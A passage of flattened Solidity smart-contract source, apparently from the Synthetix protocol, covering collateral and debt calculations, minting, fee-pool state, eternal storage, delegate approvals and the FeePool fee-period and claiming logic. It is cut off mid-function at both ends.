synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } function mint() external returns (bool) { require(rewardEscrow != address(0), "Reward Escrow destination missing"); uint supplyToMint = supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); supplySchedule.updateMintValues(); uint minterReward = supplySchedule.minterReward(); tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward))); emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward)); feePool.rewardsMinted(supplyToMint.sub(minterReward)); tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(this, msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } } contract FeePoolState is SelfDestructible, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; uint8 constant public FEE_PERIOD_LENGTH = 6; address public feePool; struct IssuanceData { uint debtPercentage; uint debtEntryIndex; } mapping(address => IssuanceData[FEE_PERIOD_LENGTH]) public accountIssuanceLedger; constructor(address _owner, IFeePool _feePool) SelfDestructible(_owner) LimitedSetup(6 weeks) public { feePool = _feePool; } function setFeePool(IFeePool _feePool) external onlyOwner { feePool = _feePool; } function getAccountsDebtEntry(address account, uint index) public view returns (uint debtPercentage, uint debtEntryIndex) { require(index < FEE_PERIOD_LENGTH, "index exceeds the FEE_PERIOD_LENGTH"); debtPercentage = accountIssuanceLedger[account][index].debtPercentage; debtEntryIndex = accountIssuanceLedger[account][index].debtEntryIndex; } function applicableIssuanceData(address account, uint closingDebtIndex) external view returns (uint, uint) { IssuanceData[FEE_PERIOD_LENGTH] memory issuanceData = accountIssuanceLedger[account]; for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) { if (closingDebtIndex >= issuanceData[i].debtEntryIndex) { return (issuanceData[i].debtPercentage, issuanceData[i].debtEntryIndex); } } } function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex, uint currentPeriodStartDebtIndex) external onlyFeePool { if (accountIssuanceLedger[account][0].debtEntryIndex < currentPeriodStartDebtIndex) { issuanceDataIndexOrder(account); } accountIssuanceLedger[account][0].debtPercentage = debtRatio; accountIssuanceLedger[account][0].debtEntryIndex = debtEntryIndex; } function issuanceDataIndexOrder(address account) private { for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) { uint next = i + 1; accountIssuanceLedger[account][next].debtPercentage = accountIssuanceLedger[account][i].debtPercentage; accountIssuanceLedger[account][next].debtEntryIndex = accountIssuanceLedger[account][i].debtEntryIndex; } } function importIssuerData(address[] accounts, uint[] ratios, uint periodToInsert, uint feePeriodCloseIndex) external onlyOwner onlyDuringSetup { require(accounts.length == ratios.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { accountIssuanceLedger[accounts[i]][periodToInsert].debtPercentage = ratios[i]; accountIssuanceLedger[accounts[i]][periodToInsert].debtEntryIndex = feePeriodCloseIndex; emit IssuanceDebtRatioEntry(accounts[i], ratios[i], feePeriodCloseIndex); } } modifier onlyFeePool { require(msg.sender == address(feePool), "Only the FeePool contract can perform this action"); _; } event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint feePeriodCloseIndex); } contract EternalStorage is State { constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public { } mapping(bytes32 => uint) UIntStorage; mapping(bytes32 => string) StringStorage; mapping(bytes32 => address) AddressStorage; mapping(bytes32 => bytes) BytesStorage; mapping(bytes32 => bytes32) Bytes32Storage; mapping(bytes32 => bool) BooleanStorage; mapping(bytes32 => int) IntStorage; function getUIntValue(bytes32 record) external view returns (uint){ return UIntStorage[record]; } function setUIntValue(bytes32 record, uint value) external onlyAssociatedContract { UIntStorage[record] = value; } function deleteUIntValue(bytes32 record) external onlyAssociatedContract { delete UIntStorage[record]; } function getStringValue(bytes32 record) external view returns (string memory){ return StringStorage[record]; } function setStringValue(bytes32 record, string value) external onlyAssociatedContract { StringStorage[record] = value; } function deleteStringValue(bytes32 record) external onlyAssociatedContract { delete StringStorage[record]; } function getAddressValue(bytes32 record) external view returns (address){ return AddressStorage[record]; } function setAddressValue(bytes32 record, address value) external onlyAssociatedContract { AddressStorage[record] = value; } function deleteAddressValue(bytes32 record) external onlyAssociatedContract { delete AddressStorage[record]; } function getBytesValue(bytes32 record) external view returns (bytes memory){ return BytesStorage[record]; } function setBytesValue(bytes32 record, bytes value) external onlyAssociatedContract { BytesStorage[record] = value; } function deleteBytesValue(bytes32 record) external onlyAssociatedContract { delete BytesStorage[record]; } function getBytes32Value(bytes32 record) external view returns (bytes32) { return Bytes32Storage[record]; } function setBytes32Value(bytes32 record, bytes32 value) external onlyAssociatedContract { Bytes32Storage[record] = value; } function deleteBytes32Value(bytes32 record) external onlyAssociatedContract { delete Bytes32Storage[record]; } function getBooleanValue(bytes32 record) external view returns (bool) { return BooleanStorage[record]; } function setBooleanValue(bytes32 record, bool value) external onlyAssociatedContract { BooleanStorage[record] = value; } function deleteBooleanValue(bytes32 record) external onlyAssociatedContract { delete BooleanStorage[record]; } function getIntValue(bytes32 record) external view returns (int){ return IntStorage[record]; } function setIntValue(bytes32 record, int value) external onlyAssociatedContract { IntStorage[record] = value; } function deleteIntValue(bytes32 record) external onlyAssociatedContract { delete IntStorage[record]; } } contract FeePoolEternalStorage is EternalStorage, LimitedSetup { bytes32 constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal"; constructor(address _owner, address _feePool) EternalStorage(_owner, _feePool) LimitedSetup(6 weeks) public { } function importFeeWithdrawalData(address[] accounts, uint[] feePeriodIDs) external onlyOwner onlyDuringSetup { require(accounts.length == feePeriodIDs.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { this.setUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, accounts[i])), feePeriodIDs[i]); } } } contract DelegateApprovals is State { mapping(address => mapping(address => bool)) public approval; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setApproval(address authoriser, address delegate) external onlyAssociatedContract { approval[authoriser][delegate] = true; emit Approval(authoriser, delegate); } function withdrawApproval(address authoriser, address delegate) external onlyAssociatedContract { delete approval[authoriser][delegate]; emit WithdrawApproval(authoriser, delegate); } event Approval(address indexed authoriser, address delegate); event WithdrawApproval(address indexed authoriser, address delegate); } contract FeePool is Proxyable, SelfDestructible, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; Synthetix public synthetix; ISynthetixState public synthetixState; ISynthetixEscrow public rewardEscrow; FeePoolEternalStorage public feePoolEternalStorage; uint public transferFeeRate; uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10; uint public exchangeFeeRate; uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10; address public feeAuthority; FeePoolState public feePoolState; DelegateApprovals public delegates; address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF; struct FeePeriod { uint feePeriodId; uint startingDebtIndex; uint startTime; uint feesToDistribute; uint feesClaimed; uint rewardsToDistribute; uint rewardsClaimed; } uint8 constant public FEE_PERIOD_LENGTH = 6; FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods; uint public feePeriodDuration = 1 weeks; uint public constant MIN_FEE_PERIOD_DURATION = 1 days; uint public constant MAX_FEE_PERIOD_DURATION = 60 days; uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100; uint constant TWENTY_TWO_PERCENT = (22 * SafeDecimalMath.unit()) / 100; uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100; uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100; uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100; uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100; uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100; uint constant NINETY_PERCENT = (90 * SafeDecimalMath.unit()) / 100; uint constant ONE_HUNDRED_PERCENT = (100 * SafeDecimalMath.unit()) / 100; bytes32 constant LAST_FEE_WITHDRAWAL = "last_fee_withdrawal"; constructor( address _proxy, address _owner, Synthetix _synthetix, FeePoolState _feePoolState, FeePoolEternalStorage _feePoolEternalStorage, ISynthetixState _synthetixState, ISynthetixEscrow _rewardEscrow, address _feeAuthority, uint _transferFeeRate, uint _exchangeFeeRate) SelfDestructible(_owner) Proxyable(_proxy, _owner) LimitedSetup(3 weeks) public { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate"); require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate"); synthetix = _synthetix; feePoolState = _feePoolState; feePoolEternalStorage = _feePoolEternalStorage; rewardEscrow = _rewardEscrow; synthetixState = _synthetixState; feeAuthority = _feeAuthority; transferFeeRate = _transferFeeRate; exchangeFeeRate = _exchangeFeeRate; recentFeePeriods[0].feePeriodId = 1; recentFeePeriods[0].startTime = now; } function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex) external onlySynthetix { feePoolState.appendAccountIssuanceRecord(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex); emitIssuanceDebtRatioEntry(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex); } function setExchangeFeeRate(uint _exchangeFeeRate) external optionalProxy_onlyOwner { require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE"); exchangeFeeRate = _exchangeFeeRate; emitExchangeFeeUpdated(_exchangeFeeRate); } function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE"); transferFeeRate = _transferFeeRate; emitTransferFeeUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) external optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } function setFeePoolState(FeePoolState _feePoolState) external optionalProxy_onlyOwner { feePoolState = _feePoolState; emitFeePoolStateUpdated(_feePoolState); } function setDelegateApprovals(DelegateApprovals _delegates) external optionalProxy_onlyOwner { delegates = _delegates; emitDelegateApprovalsUpdated(_delegates); } function setFeePeriodDuration(uint _feePeriodDuration) external optionalProxy_onlyOwner { require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration"); require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration"); feePeriodDuration = _feePeriodDuration; emitFeePeriodDurationUpdated(_feePeriodDuration); } function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { require(address(_synthetix) != address(0), "New Synthetix must be non-zero"); synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function feePaid(bytes4 currencyKey, uint amount) external onlySynthetix { uint xdrAmount; if (currencyKey != "XDR") { xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR"); } else { xdrAmount = amount; } recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount); } function rewardsMinted(uint amount) external onlySynthetix { recentFeePeriods[0].rewardsToDistribute = recentFeePeriods[0].rewardsToDistribute.add(amount); } function closeCurrentFeePeriod() external optionalProxy_onlyFeeAuthority { require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period"); FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2]; FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1]; recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute .sub(lastFeePeriod.feesClaimed) .add(secondLastFeePeriod.feesToDistribute); recentFeePeriods[FEE_PERIOD_LENGTH - 2].rewardsToDistribute = lastFeePeriod.rewardsToDistribute .sub(lastFeePeriod.rewardsClaimed) .add(secondLastFeePeriod.rewardsToDistribute); for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) { uint next = i + 1; recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId; recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex; recentFeePeriods[next].startTime = recentFeePeriods[i].startTime; recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute; recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed; recentFeePeriods[next].rewardsToDistribute = recentFeePeriods[i].rewardsToDistribute; recentFeePeriods[next].rewardsClaimed = recentFeePeriods[i].rewardsClaimed; } delete recentFeePeriods[0]; recentFeePeriods[0].feePeriodId = recentFeePeriods[1].feePeriodId.add(1); recentFeePeriods[0].startingDebtIndex = synthetixState.debtLedgerLength(); recentFeePeriods[0].startTime = now; emitFeePeriodClosed(recentFeePeriods[1].feePeriodId); } function claimFees(bytes4 currencyKey) external optionalProxy returns (bool) { return _claimFees(messageSender, currencyKey); } function claimOnBehalf(address claimingForAddress, bytes4 currencyKey) external optionalProxy returns (bool) { require(delegates.approval(claimingForAddress, messageSender), "Not approved to claim on behalf this address"); return _claimFees(claimingForAddress, currencyKey); } function _claimFees(address claimingAddress, bytes4 currencyKey) internal returns (bool) { uint availableFees; uint availableRewards; (availableFees, availableRewards) = feesAvailable(claimingAddress, "XDR"); require(availableFees > 0 || availableRewards > 0, "No fees or rewards available for period, or fees already claimed"); _setLastFeeWithdrawal(claimingAddress, recentFeePeriods[1].feePeriodId); if (availableFees > 0) { uint feesPaid = _recordFeePayment(availableFees); _payFees(claimingAddress, feesPaid, currencyKey); emitFeesClaimed(claimingAddress, feesPaid); } if (availableRewards > 0) { uint rewardPaid = _recordRewardPayment(availableRewards); _payRewards(claimingAddress, rewardPaid); emitRewardsClaimed(claimingAddress, rewardPaid); } return true; } function importFeePeriod( uint feePeriodIndex, uint feePeriodId, uint startingDebtIndex, uint startTime, uint feesToDistribute, uint feesClaimed, uint rewardsToDistribute, uint rewardsClaimed) public optionalProxy_onlyOwner onlyDuringSetup { recentFeePeriods[feePeriodIndex].feePeriodId = feePeriodId; recentFeePeriods[feePeriodIndex].startingDebtIndex = startingDebtIndex; recentFeePeriods[feePeriodIndex].startTime = startTime; recentFeePeriods[feePeriodIndex].feesToDistribute = feesToDistribute; recentFeePeriods[feePeriodIndex].feesClaimed = feesClaimed; recentFeePeriods[feePeriodIndex].rewardsToDistribute = rewardsToDistribute; recentFeePeriods[feePeriodIndex].rewardsClaimed = rewardsClaimed; } function approveClaimOnBehalf(address account) public optionalProxy { require(delegates != address(0), "Delegates Approval destination missing"); require(account != address(0), "Can't delegate to address(0)"); delegates.setApproval(messageSender, account); } function removeClaimOnBehalf(address account) public optionalProxy { require(delegates != address(0), "Delegates Approval destination missing"); delegates.withdrawApproval(messageSender, account); } function _recordFeePayment(uint xdrAmount) internal returns (uint) { uint remainingToAllocate = xdrAmount; uint feesPaid; for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) { uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed); if (delta > 0) { uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate; recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod); remainingToAllocate = remainingToAllocate.sub(amountInPeriod); feesPaid = feesPaid.add(amountInPeriod); if (remainingToAllocate == 0) return feesPaid; if (i == 0 && remainingToAllocate > 0) { remainingToAllocate = 0; } } } return feesPaid; } function _recordRewardPayment(uint snxAmount) internal returns (uint) { uint remainingToAllocate = snxAmount; uint rewardPaid; for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) { uint toDistribute = recentFeePeriods[i].rewardsToDistribute.sub(recentFeePeriods[i].rewardsClaimed); if (toDistribute > 0) { uint amountInPeriod = toDistribute < remainingToAllocate ? toDistribute : remainingToAllocate; recentFeePeriods[i].rewardsClaimed = recentFeePeriods[i].rewardsClaimed.add(amountInPeriod); remainingToAllocate = remainingToAllocate.sub(amountInPeriod); rewardPaid = rewardPaid.add(amountInPeriod); if (remainingToAllocate == 0) return rewardPaid; if (i == 0 && remainingToAllocate > 0) { remainingToAllocate = 0; } } } return rewardPaid; } function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey) internal notFeeAddress(account) { require(account != address(0), "Account can't be 0"); require(account != address(this), "Can't send fees to fee pool"); require(account != address(proxy), "Can't send fees to proxy"); require(account != address(synthetix), "Can't send fees to synthetix"); Synth xdrSynth = synthetix.synths("XDR"); Synth destinationSynth = synthetix.synths(destinationCurrencyKey); xdrSynth.burn(FEE_ADDRESS, xdrAmount); uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey); destinationSynth.issue(account, destinationAmount); destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount); } function burnFees(uint xdrAmount) external optionalProxy_onlyOwner { Synth xdrSynth = synthetix.synths("XDR"); xdrSynth.burn(FEE_ADDRESS, xdrAmount); recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.sub(xdrAmount); } function _payRewards(address account, uint snxAmount) internal notFeeAddress(account) { require(account != address(0), "Account can't be 0"); require(account != address(this), "Can't send rewards to fee pool"); require(account != address(proxy), "Can't send rewards to proxy"); require(account != address(synthetix), "Can't send rewards to synthetix"); rewardEscrow.appendVestingEntry(account, snxAmount); } function transferFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(transferFeeRate); } function transferredAmountToReceive(uint value) external view returns (uint) { return value.add(transferFeeIncurred(value)); } function amountReceivedFromTransfer(uint value) external view returns (uint) { return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit())); } function exchangeFeeIncurred(uint value) public view returns (uint) { return value.multiplyDecimal(exchangeFeeRate); } function exchangedAmountToReceive(uint value) external view returns (uint) { return value.add(exchangeFeeIncurred(value)); } function amountReceivedFromExchange(uint value) external view returns (uint) { return value.multiplyDecimal(SafeDecimalMath.unit().sub(exchangeFeeRate)); } function totalFeesAvailable(bytes4 currencyKey) external view returns (uint) { uint totalFees = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute); totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed); } return synthetix.effectiveValue("XDR", totalFees, currencyKey); } function totalRewardsAvailable() external view returns (uint) { uint totalRewards = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalRewards = totalRewards.add(recentFeePeriods[i].rewardsToDistribute); totalRewards = totalRewards.sub(recentFeePeriods[i].rewardsClaimed); } return totalRewards; } function feesAvailable(address account, bytes4 currencyKey) public view returns (uint, uint) { uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account); uint totalFees = 0; uint totalRewards = 0; for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) { totalFees = totalFees.add(userFees[i][0]); totalRewards = totalRewards.add(userFees[i][1]); } return ( synthetix.effectiveValue("XDR", totalFees, currencyKey), totalRewards ); } function currentPenalty(address account) public view returns (uint) { uint ratio = synthetix.collateralisationRatio(account); if (ratio <= TWENTY_PERCENT) { return 0; } else if (ratio > TWENTY_PERCENT && ratio <= TWENTY_TWO_PERCENT) { return 0; } else if (ratio > TWENTY_TWO_PERCENT && ratio <= THIRTY_PERCENT) { return TWENTY_FIVE_PERCENT; } else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) { return FIFTY_PERCENT; } else if (ratio > FOURTY_PERCENT && ratio <= FIFTY_PERCENT) { return SEVENTY_FIVE_PERCENT; } else if (ratio > FIFTY_PERCENT && ratio <= ONE_HUNDRED_PERCENT) { return NINETY_PERCENT; } return ONE_HUNDRED_PERCENT; } function feesByPeriod(address account) public view returns (uint[2][FEE_PERIOD_LENGTH] memory results) { uint userOwnershipPercentage; uint debtEntryIndex; (userOwnershipPercentage, debtEntryIndex) = feePoolState.getAccountsDebtEntry(account, 0); if (debtEntryIndex == 0 && userOwnershipPercentage == 0) return; if (synthetix.totalIssuedSynths("XDR") == 0) return; uint penalty = currentPenalty(account); uint feesFromPeriod; uint rewardsFromPeriod; (feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(0, userOwnershipPercentage, debtEntryIndex, penalty); results[0][0] = feesFromPeriod; results[0][1] = rewardsFromPeriod; for (uint i = FEE_PERIOD_LENGTH - 1; i > 0; i--) { uint next = i - 1; FeePeriod memory nextPeriod = recentFeePeriods[next]; if (nextPeriod.startingDebtIndex > 0 && getLastFeeWithdrawal(account) < recentFeePeriods[i].feePeriodId) { uint closingDebtIndex = nextPeriod.startingDebtIndex.sub(1); (userOwnershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex); (feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(i, userOwnershipPercentage, debtEntryIndex, penalty); results[i][0] = feesFromPeriod; results[i][1] = rewardsFromPeriod; } } } function _feesAndRewardsFromPeriod(uint period, uint ownershipPercentage, uint debtEntryIndex, uint penalty) internal returns (uint, uint) { if (ownershipPercentage == 0) return (0, 0); uint debtOwnershipForPeriod = ownershipPercentage; if (period > 0) { uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1); debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex); } uint feesFromPeriodWithoutPenalty = recentFeePeriods[period].feesToDistribute .multiplyDecimal(debtOwnershipForPeriod); uint rewardsFromPeriodWithoutPenalty = recentFeePeriods[period].rewardsToDistribute .multiplyDecimal(debtOwnershipForPeriod); uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(feesFromPeriodWithoutPenalty.multiplyDecimal(penalty)); uint rewardsFromPeriod = rewardsFromPeriodWithoutPenalty.sub(rewardsFromPeriodWithoutPenalty.multiplyDecimal(penalty)); return ( feesFromPeriod.preciseDecimalToDecimal(), rewardsFromPeriod.preciseDecimalToDecimal() ); } function _effectiveDebtRatioForPeriod(uint closingDebtIndex, uint ownershipPercentage, uint debtEntryIndex) internal view returns (uint) { if (closingDebtIndex > synthetixState.debtLedgerLength()) return 0; uint feePeriodDebtOwnership = synthetixState.debtLedger(closingDebtIndex) .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(ownershipPercentage); return feePeriodDebtOwnership; } function effectiveDebtRatioForPeriod(address account, uint period) external view returns (uint) { require(period != 0, "Current period has not closed yet"); require(period < FEE_PERIOD_LENGTH, "Period exceeds the FEE_PERIOD_LENGTH"); if (recentFeePeriods[period - 1].startingDebtIndex == 0) return; uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1); uint ownershipPercentage; uint debtEntryIndex; (ownershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex); return _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex); } function getLastFeeWithdrawal(address _claimingAddress) public view returns (uint) { return feePoolEternalStorage.getUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress))); } function _setLastFeeWithdrawal(address _claimingAddress, uint _feePeriodID) internal { feePoolEternalStorage.setUIntValue(keccak256(abi.encodePacked(LAST_FEE_WITHDRAWAL, _claimingAddress)), _feePeriodID); } modifier optionalProxy_onlyFeeAuthority { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(msg.sender == feeAuthority, "Only the fee authority can perform this action"); _; } modifier onlySynthetix { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } modifier notFeeAddress(address account) { require(account != FEE_ADDRESS, "Fee address not allowed"); _; } event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex); bytes32 constant ISSUANCEDEBTRATIOENTRY_SIG = keccak256("IssuanceDebtRatioEntry(address,uint256,uint256,uint256)"); function emitIssuanceDebtRatioEntry(address account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex) internal { proxy._emit(abi.encode(debtRatio, debtEntryIndex, feePeriodStartingDebtIndex), 2, ISSUANCEDEBTRATIOENTRY_SIG, bytes32(account), 0, 0); } event TransferFeeUpdated(uint newFeeRate); bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)"); function emitTransferFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0); } event ExchangeFeeUpdated(uint newFeeRate); bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)"); function emitExchangeFeeUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint newFeePeriodDuration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)"); function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal { proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)"); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeePoolStateUpdated(address newFeePoolState); bytes32 constant FEEPOOLSTATEUPDATED_SIG = keccak256("FeePoolStateUpdated(address)"); function emitFeePoolStateUpdated(address newFeePoolState) internal { proxy._emit(abi.encode(newFeePoolState), 1, FEEPOOLSTATEUPDATED_SIG, 0, 0, 0); } event DelegateApprovalsUpdated(address newDelegateApprovals); bytes32 constant DELEGATEAPPROVALSUPDATED_SIG = keccak256("DelegateApprovalsUpdated(address)"); function emitDelegateApprovalsUpdated(address newDelegateApprovals) internal { proxy._emit(abi.encode(newDelegateApprovals), 1, DELEGATEAPPROVALSUPDATED_SIG, 0, 0, 0); } event FeePeriodClosed(uint feePeriodId); bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)"); function emitFeePeriodClosed(uint feePeriodId) internal { proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0); } event FeesClaimed(address account, uint xdrAmount); bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)"); function emitFeesClaimed(address account, uint xdrAmount) internal { proxy._emit(abi.encode(account, 